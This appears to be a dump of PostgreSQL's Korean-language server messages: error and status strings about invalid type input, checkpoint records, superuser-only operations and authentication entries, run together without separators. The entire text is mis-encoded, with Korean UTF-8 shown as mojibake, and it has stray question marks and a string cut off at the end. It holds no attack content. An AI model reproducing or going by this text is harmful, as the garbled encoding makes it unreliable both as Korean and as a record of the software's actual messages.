ê°’ì— ìž˜ëª»ëœ ë¹„íŠ¸ê°€ 있ìŒ"%s" ì¸ì½”딩ì—서 사용할 수 없는 문ìžê°€ 있ìŒ: 0x%s"%s" ì¸ì½”딩ì—서 사용할 수 없는 ë°”ì´íЏ: 0x%02x백업 ë¼ë²¨ 파ì¼ì—서 ìž˜ëª»ëœ ì²´í¬í¬ì¸íЏ ë§í¬ ë°œê²¬ìž˜ëª»ëœ checkpoint 레코드cidr ìžë£Œí˜•ì— ëŒ€í•œ ìž˜ëª»ëœ ìž…ë ¥: "%s"서버 í”„ë¡œì„¸ìŠ¤ì˜ ëª…ë ¹í–‰ ì¸ìˆ˜ê°€ 잘못ë˜ì—ˆìŠµë‹ˆë‹¤%u 길ì´ì˜ ìž˜ëª»ëœ contrecordê°€ %u 로그 파ì¼ì— 있ìŒ, 세그먼트 %u, 오프셋 %uìž˜ëª»ëœ ì»¤ì„œ ì´ë¦„: 비어있으면 안ë©ë‹ˆë‹¤"%s" 파ì¼ì— 유효하지 ì•Šì€ ìžë£Œê°€ 있습니다작업내역 파ì¼ì— ìž˜ëª»ëœ ìžë£Œê°€ 있ìŒ: "%s"작업내역 파ì¼ì— ìž˜ëª»ëœ ìžë£Œê°€ 있ìŒ: %sìž˜ëª»ëœ ë°ì´í„°ë² ì´ìФ ì´ë¦„ "%s""%s" ëŒ€ìƒ ì¸ì½”딩 ì´ë¦„ì´ íƒ€ë‹¹ì¹˜ 못함외부 "numeric" ê°’ì˜ ìˆ«ìžê°€ 잘못ë¨ìž˜ëª»ëœ ì¸ì½”딩 번호: %d???ìž˜ëª»ëœ ë§ˆì§€ë§‰ ìˆœì„œìž˜ëª»ëœ ì´ìŠ¤ì¼€ì´í”„ 문ìžì—´ì™¸ë¶€ "cidr" ê°’ì´ ìž˜ëª»ë¨ìž˜ëª»ëœ 필드 í¬ê¸°ê°„격 ê°’ì— ëŒ€í•œ í˜•ì‹ ì§€ì •ì´ ìž˜ëª»ë¨ìž˜ëª»ëœ frontend 메시지 형태 %dìž˜ëª»ëœ 16진수 ë°ì´í„°: ë°ì´í„°ì˜ 길ì´ê°€ 홀수 입니다.ìž˜ëª»ëœ 16진수: "%c"ìž˜ëª»ëœ info bits %04X, 로그파ì¼: %u, 세그먼트 %u, 오프셋 %uìž˜ëª»ëœ integer ìžë£Œí˜• ìž…ë ¥ 구문: "%s"%s ìžë£Œí˜• 대한 ìž˜ëª»ëœ ìž…ë ¥: "%s"boolean ìžë£Œí˜•ì— ëŒ€í•œ ìž˜ëª»ëœ ìž…ë ¥: "%s"box ìžë£Œí˜•ì— ëŒ€í•œ ìž˜ëª»ëœ ìž…ë ¥: "%s"bytea ìžë£Œí˜•ì— ëŒ€í•œ ìž˜ëª»ëœ ìž…ë ¥circle ìžë£Œí˜•ì— ëŒ€í•œ ìž˜ëª»ëœ ìž…ë ¥: "%s"double precision ìžë£Œí˜•ì— ëŒ€í•œ ìž˜ëª»ëœ ìž…ë ¥: "%s"line ìžë£Œí˜•ì— ëŒ€í•œ ìž˜ëª»ëœ ìž…ë ¥: "%s"lseg ìžë£Œí˜•ì— ëŒ€í•œ ìž˜ëª»ëœ ìž…ë ¥: "%s"macaddr ìžë£Œí˜•ì— ëŒ€í•œ ìž˜ëª»ëœ ìž…ë ¥: "%s"money ìžë£Œí˜•ì— ëŒ€í•œ ìž˜ëª»ëœ ìž…ë ¥: "%s"수치 ìžë£Œí˜•ì˜ ìž…ë ¥ êµ¬ë¬¸ì— ì˜¤ë¥˜ê°€ 있습니다: "%s"ìž˜ëª»ëœ oid ìžë£Œí˜•ì˜ ìž…ë ¥: "%s"path ìžë£Œí˜•ì— ëŒ€í•œ ìž˜ëª»ëœ ìž…ë ¥: "%s"point ìžë£Œí˜•ì— ëŒ€í•œ ìž˜ëª»ëœ ìž…ë ¥: "%s"polygon ìžë£Œí˜•ì— ëŒ€í•œ ìž˜ëª»ëœ ìž…ë ¥: "%s"real ìžë£Œí˜•ì— ëŒ€í•œ ìž˜ëª»ëœ ìž…ë ¥: "%s"tid 형ì‹ì˜ ìž…ë ¥ êµ¬ë¬¸ì´ ìž˜ëª»ë¨: "%s"tinterval ìžë£Œí˜•ì— ëŒ€í•œ ìž˜ëª»ëœ ìž…ë ¥: "%s"ìž˜ëª»ëœ int2vector ìžë£Œtime zoneì„ ìœ„í•œ interval ê°’ì´ ìž˜ 못 ë˜ì—ˆìŒ: day는 허용하지 않ìŒí‘œì¤€ ì‹œê°„ëŒ€ì— ìœ íš¨í•˜ì§€ ì•Šì€ ê°„ê²© ê°’: ì›”ì´ í—ˆìš©ë˜ì§€ 않ìŒìœ íš¨í•˜ì§€ ì•Šì€ ëŒ€í˜• 개체 설명: %d외부 "%s" ê°’ì˜ ê¸¸ì´ê°€ 잘못 ë˜ì—ˆìŒì™¸ë¶€ "numeric" ê°’ì˜ ê¸¸ì´ê°€ 잘못ë¨ì™¸ë¶€ 비트 문ìžì—´ì˜ 길ì´ê°€ 잘못ë˜ì—ˆìŠµë‹ˆë‹¤checkpoint 레코드 길ì´ê°€ 잘못ë˜ì—ˆìŒprimary checkpoint 레코드 길ì´ê°€ 잘못ë˜ì—ˆìŒsecondary checkpoint 레코드 길ì´ê°€ 잘못ë˜ì—ˆìŒì‹œìž‘ íŒ¨í‚·ì˜ ê¸¸ì´ê°€ 잘못 ë˜ì—ˆìŠµë‹ˆë‹¤"listen_addresses" ê°’ì´ ìž˜ëª»ëœ ë¬¸ë²•ìœ¼ë¡œ 표현ë˜ì–´ìžˆìŠµë‹ˆë‹¤"datestyle" 매개 ë³€ìˆ˜ì˜ ëª©ë¡ êµ¬ë¬¸ì´ ìž˜ëª»ë¨"log_destination" 매개 변수 ê°’ì˜ ë‚˜ì—´ êµ¬ë¬¸ì´ ìž˜ëª»ë˜ì—ˆìŠµë‹ˆë‹¤"%s" 매개 변수 êµ¬ë¬¸ì´ ìž˜ëª» ë˜ì—ˆìŠµë‹ˆë‹¤ë™ì  ë¼ì´ë¸ŒëŸ¬ë¦¬ 경로ì—서 ìž˜ëª»ëœ ë§¤í¬ë¡œ ì´ë¦„: %sìž˜ëª»ëœ magic number %04X, 로그파ì¼: %u, 세그먼트 %u, 오프셋 %uìž˜ëª»ëœ ë§ˆìŠ¤í¬ ê¸¸ì´: %d메시지 í¬ë§·ì´ 유효하지 않습니다.ë©”ì‹œì§€ì˜ ê¸¸ì´ê°€ 유효하지 ì•ŠìŠµë‹ˆë‹¤ìž˜ëª»ëœ ì¡°ê±´: "%s" ì¤‘ì— í•œ 가지여야 합니다.ë¡œìº˜ì„ ìœ„í•œ ìž˜ëª»ëœ ë©€í‹°ë°”ì´íЏ 문ìžìž˜ëª»ëœ ì´ë¦„ êµ¬ë¬¸ìž˜ëª»ëœ ë‹¤ìŒ íŠ¸ëžœìž­ì…˜ ID"%s" 표준 시간대 파ì¼ì˜ %d번째 줄ì—서 표준 시간대 오프셋 숫ìžê°€ 잘못ë¨ìž˜ëª»ëœ ë°°ì—´ ì°¨ì›(ë°°ì—´ 깊ì´): %d???"path" ì˜ ê°’ì— ìž˜ëª»ëœ ê°¯ìˆ˜ì˜ point들???"polygon" ê°’ì— ìž˜ëª»ëœ ê°¯ìˆ˜ì˜ point들"macaddr"ì— ëŒ€í•œ ìž˜ëª»ëœ ì˜¥í…Ÿ(octet) ê°’: "%s"ìž˜ëª»ëœ oidvector ìžë£Œìž˜ëª»ëœ ì—°ì‚°ìž ë²ˆí˜¸: %d, 타당한 번호는 1부터 %d까지 입니다유효하지 ì•Šì€ ì•”í˜¸ 패킷 사ì´ì¦ˆì»¨íŠ¸ë¡¤ 파ì¼ì—서 ìž˜ëª»ëœ primary checkpoint ë§í¬ ë°œê²¬ìž˜ëª»ëœ primary checkpoint 레코드%s ê¶Œí•œì€ ë°ì´í„°ë² ì´ìФì—는 사용할 수 ì—†ì€ ê¶Œí•œ 형태임%s ê¶Œí•œì€ í•¨ìˆ˜ì—는 사용할 수 ì—†ì€ ê¶Œí•œ 형태임%s ê¶Œí•œì€ í”„ë¡œì‹œì£¼ì–¼ 언어ì—는 사용할 수 ì—†ì€ ê¶Œí•œ 형태임릴레ì´ì…˜ì˜ %s ê¶Œí•œì€ ìž˜ëª»ëœ ì¢…ë¥˜ìž„%s ê¶Œí•œì€ ìŠ¤í‚¤ë§ˆ(schema)ì—는 사용할 수 ì—†ì€ ê¶Œí•œ í˜•íƒœìž„ì‹œí€€ìŠ¤ì˜ %s ê¶Œí•œì€ ìž˜ëª»ëœ ì¢…ë¥˜ìž„%s ê¶Œí•œì€ í…Œì´ë¸”스페ì´ìФì—는 사용할 수 ì—†ì€ ê¶Œí•œ 형태임테ì´ë¸”ì—서 USAGE ê¶Œí•œì€ ìž˜ëª»ë˜ì—ˆìŒìž˜ëª»ëœ 프로시저 번호 %d, ì´ ë²ˆí˜¸ëŠ” 1부터 %d까지입니다부ì ì ˆí•œ "circle" ê°’ì˜ ë°˜ì§€ë¦„ìž˜ëª»ëœ ë ˆì½”ë“œ 길ì´: %X/%Xìž˜ëª»ëœ ë ˆì½”ë“œ 위치: %X/%Xì²´í¬í¬ì¸íЏ 레코드 ì•ˆì— ìž˜ëª»ëœ redo ì •ë³´ê°€ 있ìŒ"%s" í…Œì´ë¸”ì„ ì‚¬ìš©í•˜ëŠ” FROM ì ˆì— ëŒ€í•œ 참조가 잘못 ë˜ì—ˆìŠµë‹ˆë‹¤.ìž˜ëª»ëœ ì •ê·œì‹: %sìž˜ëª»ëœ ìžì› 관리 ID %u, 위치: %X/%Xcheckpoint 레코드ì—서 ìž˜ëª»ëœ ìžì› ê´€ë¦¬ìž ID 발견primary checkpoint 레코드ì—서 ìž˜ëª»ëœ ìžì› ê´€ë¦¬ìž ID 발견secondary checkpoint 레코드ì—서 ìž˜ëª»ëœ ìžì› ê´€ë¦¬ìž ID ë°œê²¬ìž˜ëª»ëœ ë¡¤ OID: %uìž˜ëª»ëœ ë¡¤ ì´ë¦„ "%s"ìž˜ëª»ëœ ë¡¤ 암호 "%s"컨트롤 파ì¼ì—서 ìž˜ëª»ëœ secondary checkpoint ë§í¬ ë°œê²¬ìž˜ëª»ëœ secondary checkpoint ë ˆì½”ë“œìž˜ëª»ëœ ì„œë²„ ì¸ì½”딩 %d외부 "numeric" ê°’ì˜ ë¶€í˜¸ê°€ 잘못ë¨"%s" ì›ë³¸ ì¸ì½”딩 ì´ë¦„ì´ íƒ€ë‹¹ì¹˜ ëª»í•¨ìž˜ëª»ëœ ì‹œìž‘ 패킷 ë ˆì´ì•„웃: 마지막 ë°”ì´íŠ¸ë¡œ 종결문ìžê°€ 발견ë˜ì—ˆìŒìž˜ëª»ëœ 명령문 ì´ë¦„: 비어있으면 안ë©ë‹ˆë‹¤ì™¸ë¶€ "tinterval" ê°’ì— ìž˜ëª»ëœ ìƒíƒœê°€ 있ìŒìž˜ëª»ëœ STORAGE ê°’: "%s"ë©”ì‹œì§€ì•ˆì— ìœ íš¨í•˜ì§€ ì•Šì€ ë¬¸ìžì—´ì´ ìžˆìŠµë‹ˆë‹¤ìž˜ëª»ëœ ê¸°í˜¸"%s" time zone 파ì¼ì˜ %d번째 ì¤„ì— êµ¬ë¬¸ ì˜¤ë¥˜ìž˜ëª»ëœ time zone íŒŒì¼ ì´ë¦„: "%s"ìž˜ëª»ëœ í‘œì¤€ì‹œê°„ëŒ€: "%s""%s" í˜•ì‹ ë²”ì£¼ê°€ 잘못ë¨: 단순 ASCII여야 í•¨ìž˜ëª»ëœ ìžë£Œí˜•ì˜ ë‚´ë¶€ í¬ê¸° %d"%s"는 유효하지 ì•Šì€ ìžë£Œí˜•입니다.ìž˜ëª»ëœ "%s" 매개 ë³€ìˆ˜ì˜ ê°’: "%s"ìž˜ëª»ëœ "%s" 매개 ë³€ìˆ˜ì˜ ê°’: %dìž˜ëª»ëœ "%s" 매개 ë³€ìˆ˜ì˜ ê°’: %gcheckpoint 레코드ì—서 ìž˜ëª»ëœ xl_info 발견primary checkpoint 레코드ì—서 ìž˜ëª»ëœ xl_info 발견secondary checkpoint 레코드ì—서 ìž˜ëª»ëœ xl_info 발견%X/%X ì—서 ìž˜ëª»ëœ xlog 변경 레코드Ident 서버로부터 ìž˜ëª»ëœ í˜•íƒœì˜ ì‘답를 보냈습니다: "%s"krb5, gssapi ë° sspi"%s" 프로시주얼 언어가 ì´ë¯¸ 있습니다"%s" 프로시주얼 언어 ì—†ìŒ"%s" 프로시주얼 언어 ì—†ìŒ, 건너 뜀"%s" 프로시주얼 언어는 안전하지 못합니다프로시주얼 언어 %s프로시주얼 언어 ì´ë¦„ì´ ì ë‹¹ì¹˜ 않습니다OID %u 언어 ì—†ìŒ%u large object ì—†ìŒ%u large object 쓰기 실패large object ê¸°ìˆ ìž %dë²ˆì€ ì“°ê¸°ìš©ìœ¼ë¡œ 열려있지 않ìŒì´ 세션ì—는 lastval ê°’ì´ ì•„ì§ê¹Œì§€ 지정ë˜ì§€ 않았습니다%s ìžë£Œí˜•ì˜ ê¸¸ì´ëŠ” 최대 %d ì´í•˜ì—¬ì•¼í•©ë‹ˆë‹¤%s ìžë£Œí˜•ì˜ ê¸¸ì´ëŠ” 최소 1 ì´ìƒì´ì–´ì•¼í•©ë‹ˆë‹¤<qbq>libxml2ì— í˜¸í™˜ë˜ì§€ 않는 ë¬¸ìž í˜•ì‹ì´ 있ìŒ: sizeof(char)=%u, sizeof(xmlChar)=%u"%s" 표준 시간대 파ì¼ì˜ %d번째 ì¤„ì´ ë„ˆë¬´ ê¹ë‹ˆë‹¤.ë°ì´í„°ì— carriage return ê°’ì´ ìž˜ëª»ë˜ì—ˆìŒë°ì´í„°ì— newline ê°’ì´ ìž˜ëª»ë˜ì—ˆìŒ"%s" ë¼ì´ë¸ŒëŸ¬ë¦¬ 로드 완료ID %d 로컬 ì‚¬ìš©ìž ì—†ìŒ"%s" 잠금 파ì¼ì´ ì´ë¯¸ 있ìŒìž ê¸ˆ 위반로그 작업 ë내는 중하한 ë° ìƒí•œì€ 유한한 ê°’ì´ì–´ì•¼ í•¨í•˜í•œê°’ì€ ìƒí•œê°’ê³¼ ê°™ì„ ìˆ˜ 없습니다%d 값으로 ëŒ€ìƒ í†µê³„ê°’ì„ ë‚®ì¶¥ë‹ˆë‹¤ë£¨íŠ¸ ì¸ì¦ì„œ 저장소가 있는지, ì½ê¸° 가능한지 확ì¸ë¹„ì •ìƒì ì¸ ë°°ì—´ 문ìž: "%s"비정ìƒì ì¸ 레코드 문ìž: "%s"win32 오류번호 맵핑 %lu -> %dmax_fsm_pages ê°’ì€ max_fsm_relations * %d 값보다 ì»¤ì•¼í•©ë‹ˆë‹¤ì¤€ë¹„ëœ íŠ¸ëžœìž­ì…˜ì˜ ìµœëŒ€ 개수를 ëª¨ë‘ ì‚¬ìš©í–ˆìŠµë‹ˆë‹¤"%s" ì—´ì„ ìƒì†ëœ ì •ì˜ì™€ 병합하는 중"%s" ì—´("%s" 하위)ì˜ ì •ì˜ë¥¼ 병합하는 중"%s" ì—´ì´ ì¤‘ë³µë˜ì–´ ìƒì†ë©ë‹ˆë‹¤.DEFERABLE ì ˆì´ ìž˜ëª» 놓여져 있습니다INITIALLY DEFERRED ì ˆì´ ìž˜ëª» 놓여 있습니다INITIALLY IMMEDIATE ì ˆì´ ìž˜ëª» 놓여 있습니다NOT DEFERABLE ì ˆì´ ìž˜ëª» 놓여 있습니다"=" 기호가 빠졌습니다.ë°°ì—´ ì°¨ì›(ë°°ì—´ 깊ì´) 표현ì—서 "]" 문ìžê°€ 빠졌습니다.í…Œì´ë¸” "%s"ì— FROM ì ˆì´ ë¹ ì ¸ 있습니다.ì¸ìˆ˜ê°€ 빠졌ìŒí• ë‹¹ ì—°ì‚°ìžê°€ 빠졌습니다.OID ì—´ì— ìžë£Œê°€ ì—†ìŒ"%s" ì—´ì˜ ìžë£Œê°€ 빠졌ìŒë°°ì—´ ì°¨ì›(ë°°ì—´ 깊ì´) ê°’ì´ ë¹ ì¡ŒìŠµë‹ˆë‹¤."%s" 파ì¼ì˜ %d번째 ì¤„ì˜ ë ë¼ì¸ì— ë¹ ì§„ 엔트리가 있습니다 오류 ë‚´ìš©ì„ ëºë‹ˆë‹¤ì´ë¦„ì´ ë¹ ì¡ŒìŠµë‹ˆë‹¤.빠져있거나 ìž˜ëª»ëœ pg_hba.conf 파ì¼"%s" time zone 파ì¼ì˜ %d번째 ì¤„ì— time zone ìƒëžµí˜•ì´ ë¹ ì¡ŒìŒ"%s" time zone 파ì¼ì˜ %d번째 ì¤„ì— time zone ì˜µì…‹ì´ ë¹ ì¡ŒìŒ"%s"(ì´)ë¼ëŠ” 함수가 ë‘ ê°œ ì´ìƒ 있ìŒ%s(ì´)ë¼ëŠ” ì—°ì‚°ìžê°€ ë‘ ê°œ ì´ìƒ 있ìŒí‘œí˜„ì‹ì— ì‚¬ìš©ëœ ì„œë¸Œì¿¼ë¦¬ 결과가 하나 ì´ìƒì˜ í–‰ì„ ë¦¬í„´í–ˆìŠµë‹ˆë‹¤<qbq>ë‹¤ì°¨ì› ë°°ì—´ì—는 ì¼ì¹˜í•˜ëŠ” ì°¨ì›ì´ í¬í•¨ëœ ë°°ì—´ ì‹ì´ 있어야 함여러 ê°œì˜ DEFERRABLE/NOT DEFERRABLEì ˆì€ ì‚¬ìš©í•  수 없습니다여러 ê°œì˜ INITIALLY IMMEDIATE/DEFERRED ì ˆì€ í—ˆìš©ë˜ì§€ ì•ŠìŠµë‹ˆë‹¤ì¤‘ë³µëœ LIMIT êµ¬ë¬¸ì€ í—ˆìš©í•˜ì§€ ì•ŠìŠµë‹ˆë‹¤ì¤‘ë³µëœ OFFSET êµ¬ë¬¸ì€ í—ˆìš©í•˜ì§€ ì•ŠìŠµë‹ˆë‹¤ì¤‘ë³µëœ ORDER BY êµ¬ë¬¸ì€ í—ˆìš©í•˜ì§€ 않습니다StopWords 매개 변수가 여러 ê°œ 있ìŒSELECTì— ëŒ€í•œ 다중 실행 룰(rule)ì€ êµ¬í˜„ë˜ì§€ ì•Šì•˜ìŠµë‹ˆë‹¤ê°™ì€ "%s" ì—´ì— ì§€ì •ê°’(assignment)ì´ ì¤‘ë³µë˜ì—ˆìŠµë‹ˆë‹¤???ì—¬ëŸ¬ê°œì˜ ì†Œìˆ«ì default í‘œí˜„ì‹ ì—¬ëŸ¬ê°œ 있ìŒ"%s" ì—´("%s" í…Œì´ë¸”)ì— ëŒ€í•´ 여러 ê°œì˜ ê¸°ë³¸ ê°’ì´ ì§€ì •ë¨"%s" í…Œì´ë¸”ì—는 ì´ë¯¸ 기본키가 있습니다"%s" ë¡¤ì˜ êµ¬ì„±ì›ì´ì–´ì•¼ 함"%s" ì—­í• ì˜ ë©¤ë²„ë§Œ 코멘트할 수 있ìŒ%s 문ìžì½”드변환규칙(conversion)ì˜ ì†Œìœ ì£¼ì—¬ì•¼ë§Œ 합니다%s ë°ì´í„°ë² ì´ìŠ¤ì˜ ì†Œìœ ì£¼ì—¬ì•¼ë§Œ 합니다%s í•¨ìˆ˜ì˜ ì†Œìœ ì£¼ì—¬ì•¼ë§Œ 합니다%s 프로시주얼 ì–¸ì–´ì˜ ì†Œìœ ì£¼ì—¬ì•¼ë§Œ 합니다%s ì—°ì‚°ìžì˜ 소유주여야만 합니다%s ì—°ì‚°ìž í´ëž˜ìŠ¤ì˜ ì†Œìœ ì£¼ì—¬ì•¼ë§Œ 합니다%s 릴레ì´ì…˜(relation)ì˜ ì†Œìœ ì£¼ì—¬ì•¼ë§Œ 합니다%s 스키마(schema)ì˜ ì†Œìœ ì£¼ì—¬ì•¼ë§Œ 합니다%s ì‹œí€€ìŠ¤ì˜ ì†Œìœ ì£¼ì—¬ì•¼ë§Œ 합니다%s í…Œì´ë¸”스페ì´ìŠ¤ì˜ ì†Œìœ ì£¼ì—¬ì•¼ë§Œ 합니다%s ìžë£Œí˜•ì˜ ì†Œìœ ì£¼ì—¬ì•¼ë§Œ 합니다%s, %s ìžë£Œí˜•ì˜ ì†Œìœ ì£¼ì—¬ì•¼í•©ë‹ˆë‹¤COPY 명령으로 ìžë£Œë¥¼ 파ì¼ë¡œ 내보내거나 파ì¼ì—서 가져오려면, superuser여야만 합니다superuserì˜ ì†ì„±ì„ 변경하련 슈í¼ìœ ì ¸ì—¬ì•¼ë§Œ 합니다프로시주얼 ì–¸ì–´ì— ëŒ€í•œ 코멘트는 superuserë§Œ í•  수 있습니다CREATE CAST ... WITHOUT FUNCTION ëª…ë ¹ì€ superuserë§Œ 실행할 수 ìžˆìŠµë‹ˆë‹¤ì—°ì‚°ìž í´ëž˜ìŠ¤ëŠ” superuserë§Œ 만들 수 있습니다새 superuser를 만드려면 superuser여야만 합니다CHECKPOINT ëª…ë ¹ì€ superuserë§Œ 사용할 수 있습니다superuser를 사용ìžë¥¼ 삭제하려면 superuser여야만 합니다"%s" 검사를 위해서는 superuser여야합니다디렉터리 목ë¡ì„ 보려면 superuserì—¬ì•¼í•¨íŒŒì¼ ì •ë³´ë¥¼ 보려면 superuser여야함파ì¼ì„ ì½ìœ¼ë ¤ë©´ 슈í¼ìœ ì ¸ì—¬ì•¼í•¨superuserì˜ ì´ë¦„ì„ ë°”ê¾¸ë ¤ë©´ superuser여야 합니다통계 ìžë£Œ 초기화 ìž‘ì—…ì€ superuserë§Œ í•  수 있습니다로그 íŒŒì¼ êµì²´ ìž‘ì—…ì€ superuserë§Œ í•  수 있습니다superuserë§Œì´ ë°±ì—… ìž‘ì—…ì„ í•  수 있습니다grantor(?)를 지정하려면 슈í¼ìœ ì ¸ì—¬ì•¼í•©ë‹ˆë‹¤superuserë§Œì´ ë‹¤ë¥¸ 서버 í”„ë¡œì„¸ìŠ¤ì— ì‹œìŠ¤í…œ 신호(signal)ì„ ë³´ë‚¼ 수 있ìŒsuperuserë§Œì´ ì‹œê·¸ë„ì„ ë³´ë‚¼ 수 있ìŒíŠ¸ëžœìž­ì…˜ 로그 파ì¼ì„ 바꾸려면 superuser여야 합니다서버 측 lo_export()는 superuserë§Œ 가능하다서버 측 lo_import()는 superuserë§Œì´ ì‚¬ìš© 가능하다"%s" ì—­í• ì— admin ì˜µì…˜ì´ ìžˆì–´ì•¼ 함<qbq>변환 함수가 엄격하고 변환 형ì‹ì´ ìž…ë ¥ 형ì‹ê³¼ 호환ë˜ì§€ 않는 경우 <qbq>ì´ˆê¸°ê°’ì„ ìƒëžµí•˜ë©´ 안ë¨ì ì–´ë„ 2ê°œì˜ pointë“¤ì´ í•„ìš”í•©ë‹ˆë‹¤.ì ì–´ë„ 하나 ì´ìƒì˜ ì—´ì„ ì§€ì •í•´ 주십시오substringì—서 ìŒìˆ˜ 길ì´ëŠ” 허용하지 않ìŒ_^_ ìž…ë ¥ ìžë£Œí˜•으로는 ë°°ì—´ìžë£Œí˜•ì´ ì‚¬ìš©ë  ìˆ˜ 없습니다네임스페ì´ìФ ì´ë¦„ ë° URI는 nullì¼ ìˆ˜ ì—†ìŒ<qbq>새 LC_CTYPE(%s)ì´ í…œí”Œë¦¿ ë°ì´í„°ë² ì´ìŠ¤ì˜ LC_CTYPE(%s)ê³¼ <qbq>호환ë˜ì§€ 않ìŒìƒˆ ë¹„íŠ¸ê°’ì€ 0 ë˜ëŠ” 1 ì´ì–´ì•¼í•©ë‹ˆë‹¤<qbq>새 ë°ì´í„° ì •ë ¬(%s)ì´ í…œí”Œë¦¿ ë°ì´í„°ë² ì´ìŠ¤ì˜ ë°ì´í„° ì •ë ¬(%s)ê³¼ <qbq>호환ë˜ì§€ 않ìŒ<qbq>새 ì¸ì½”딩(%s)ì´ í…œí”Œë¦¿ ë°ì´í„°ë² ì´ìŠ¤ì˜ ì¸ì½”딩(%s)ê³¼ <qbq>호환ë˜ì§€ 않ìŒ"%s" 릴레ì´ì…˜ì˜ 새 í–‰ì´ "%s" ì²´í¬ ì œì•½ ì¡°ê±´ì„ ìœ„ë°˜í–ˆìŠµë‹ˆë‹¤ë‹¤ìŒ MultiXactId: %u; ë‹¤ìŒ MultiXactOffset: %uë‹¤ìŒ íŠ¸ëžœìž­ì…˜ ID: %u/%u; ë‹¤ìŒ OID: %unextval:  "%s" ì‹œí€€ìŠ¤ì˜ ìµœëŒ€ê°’(%s)ì´ ë˜ì—ˆìŠµë‹ˆë‹¤nextval: "%s" ì‹œí€€ìŠ¤ì˜ ìµœì†Œê°’(%s)ì´ ë˜ì—ˆìŠµë‹ˆë‹¤ì‹œìž‘ 패킷ì—서 지정한 사용ìžëŠ” PostgreSQL ì‚¬ìš©ìž ì´ë¦„ì´ ì•„ë‹™ë‹ˆë‹¤SSL 오류 ì—†ìŒ"%s" 언어 ë° "%s" ì¸ì½”ë”©ì— ì‚¬ìš© 가능한 Snowball stemmerê°€ ì—†ìŒ%s ìžë£Œí˜•ì—서 사용할 ë°”ì´ë„ˆë¦¬ ìž…ë ¥ 함수가 없습니다.%s ìžë£Œí˜•ì—서 사용할 ë°”ì´ë„ˆë¦¬ 출력 함수가 없습니다.ì—´ ë³„ì¹­ì´ ì œê³µë˜ì§€ 않았ìŒë©”ì‹œì§€ì— ì•„ë¬´ëŸ° ë°ì´í„°ê°€ 없습니다비어 있는 로컬 버í¼ê°€ 없습니다함수 본문(body) ë¶€ë¶„ì´ ë¹ ì¡ŒìŠµë‹ˆë‹¤%s ìžë£Œí˜•ì„ ìœ„í•œ ìž…ë ¥ 함수가 없습니다처리할 프로시주얼 언어를 지정하지 않았습니다"%s" 사용ìž("%s"(으)로 ì¸ì¦ë¨)ì— ì¼ì¹˜í•˜ëŠ” í•­ëª©ì´ ì‚¬ìš©ìž ë§µì— ì—†ìŒ%s ìžë£Œí˜•ì„ ìœ„í•œ 출력 함수가 없습니다호스트 "%s", ì‚¬ìš©ìž "%s", ë°ì´í„°ë² ì´ìФ "%s" 엔트리가 pg_hba.conf 파ì¼ì— 없습니다호스트 "%s", ì‚¬ìš©ìž "%s", ë°ì´í„°ë² ì´ìФ "%s" 엔트리가 pg_hba.conf 파ì¼ì— 없습니다, %s"%s"ì— ëŒ€í•œ ê¶Œí•œì„ ì·¨ì†Œí•  수 ì—†ìŒ"%s" ì—´("%s" 관계)ì— ëŒ€í•œ ê¶Œí•œì„ ì·¨ì†Œí•  수 ì—†ìŒ"%s"ì— ëŒ€í•œ ê¶Œí•œì´ ë¶€ì—¬ë˜ì§€ 않았ìŒ"%s" ì—´("%s" 관계)ì— ëŒ€í•œ ê¶Œí•œì´ ë¶€ì—¬ë˜ì§€ 않았ìŒì´ ë°ì´í„°ë² ì´ìФì—는 어떠한 롤 ì •ì˜ë„ 없습니다_^_ ì„ íƒëœ 스키마 ì—†ìŒ, 대ìƒ:서버 ì ‘ì† ëŒ€ê¸° ìž‘ì—…ì„ ìœ„í•œ ì†Œì¼“ì„ ë§Œë“¤ 수 ì—†ìŒê·¸ëŸ° savepointê°€ 없습니다%d번째 매개 변수 ê°’ì´ ì—†ìŠµë‹ˆë‹¤ì •ìˆ˜ê°€ 아닌 ìƒìˆ˜ê°€ %s ì— í¬í•¨ë˜ì–´ 있습니다문ìžì—´ ì•ˆì— ìžˆëŠ” \' 문ìžëŠ” í‘œì¤€ì´ ì•„ë‹™ë‹ˆë‹¤ë¬¸ìžì—´ ì•ˆì— ìžˆëŠ” \\ 문ìžëŠ” í‘œì¤€ì´ ì•„ë‹™ë‹ˆë‹¤ë¬¸ìžì—´ ì•ˆì— ë¹„í‘œì¤€ escape 문ìžë¥¼ 사용하고 있습니다"%s"ì— ëŒ€í•œ ì¼ë¶€ ê¶Œí•œì„ ì·¨ì†Œí•  수 ì—†ìŒ<qbq>"%s" ì—´("%s" 관계)ì— ëŒ€í•œ ì¼ë¶€ ê¶Œí•œì„ ì·¨ì†Œí•  수 ì—†ìŒ"%s"ì— ëŒ€í•œ ì¼ë¶€ ê¶Œí•œì´ ë¶€ì—¬ë˜ì§€ 않았ìŒXML 문서가 아님"%s" 파ì¼ì— ìžë£Œê°€ 불충분합니다백그ë¼ìš´ë“œ writer를 위한 공유 메모리가 부족합니다"S" ê°€ 고유(유니í¬) 하지 않습니다.복사 ë°ì´í„°ì— null OID ê°’ì´ ìžˆìŒì´ 구문ì—서는 ë°°ì—´ì˜ null 요소를 허용하지 않습니다null 문ìžëŠ” 허용ë˜ì§€ 않ìŒ"%s" ì—´ì—는 null ê°’ì´ ì˜¬ 수 없습니다alias 수가 ì—´ 수와 틀립니다지정한 ë°°ì—´ í¬ê¸°(%d)ê°€ 최대치(%d)를 초과했습니다열 수(%d)ê°€ 최대값(%d)ì„ ì´ˆê³¼í–ˆìŠµë‹ˆë‹¤ì—´ì˜ ê°œìˆ˜ì™€, valuesì˜ ê°œìˆ˜ê°€ 틀립니다ì¸ë±ìФ ì—´ 수(%d)ê°€ 최대값(%d)ì„ ì´ˆê³¼í–ˆìŠµë‹ˆë‹¤ì°¸ì¡°í‚¤(foreign key) disagree를 위한 참조하는, ë˜ëŠ” 참조ë˜ëŠ” ì—´ 수수치 필드 오버플로우개체 %u, í´ëž˜ìФ %u, ë°ì´í„°ë² ì´ìФ %uoidvectorì— ë„ˆë¬´ ë§Žì€ ìš”ì†Œê°€ 있습니다가장 ì˜¤ëž˜ëœ xminì´ ë„ˆë¬´ 옛날 것입니다.온ë¼ì¸ 백업 모드가 취소ë¨ì˜¨ë¼ì¸ 백업 모드가 취소ë˜ì§€ 않았ìŒ_^_ ë°”ì´ë„ˆë¦¬ ì—°ì‚°ìžë§Œì´ 해시할 수 있ìŒ_^_ ë°”ì´ë„ˆë¦¬ ì—°ì‚°ìžë§Œì´ commutator를 가질 수 있ìŒ_^_ ë°”ì´ë„ˆë¦¬ ì—°ì‚°ìžë§Œì´ join selectivity를 가질 